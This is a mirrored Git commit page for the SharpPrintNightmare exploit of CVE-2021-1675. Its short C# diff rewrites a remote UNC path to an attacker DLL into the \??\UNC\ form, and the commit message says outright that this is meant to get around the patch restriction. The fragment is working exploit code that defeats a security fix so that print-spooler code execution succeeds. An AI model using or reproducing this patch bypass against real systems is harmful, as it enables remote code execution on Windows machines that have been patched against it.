1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2025-07-06 01:41:12 +01:00

updated with \??\UNC\ path to avoid patch restriction

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
cube0x0 2021-07-08 13:03:15 +02:00
parent 18fde4bfec
commit 640d1984cd
4 changed files with 67 additions and 38 deletions

View file

@ -68,6 +68,10 @@ namespace SharpPrintNightmare
Environment.Exit(0);
}
dllpath = args[0];
if (dllpath.Contains("\\\\"))
{
dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\");
}
if (args.Length > 2)
{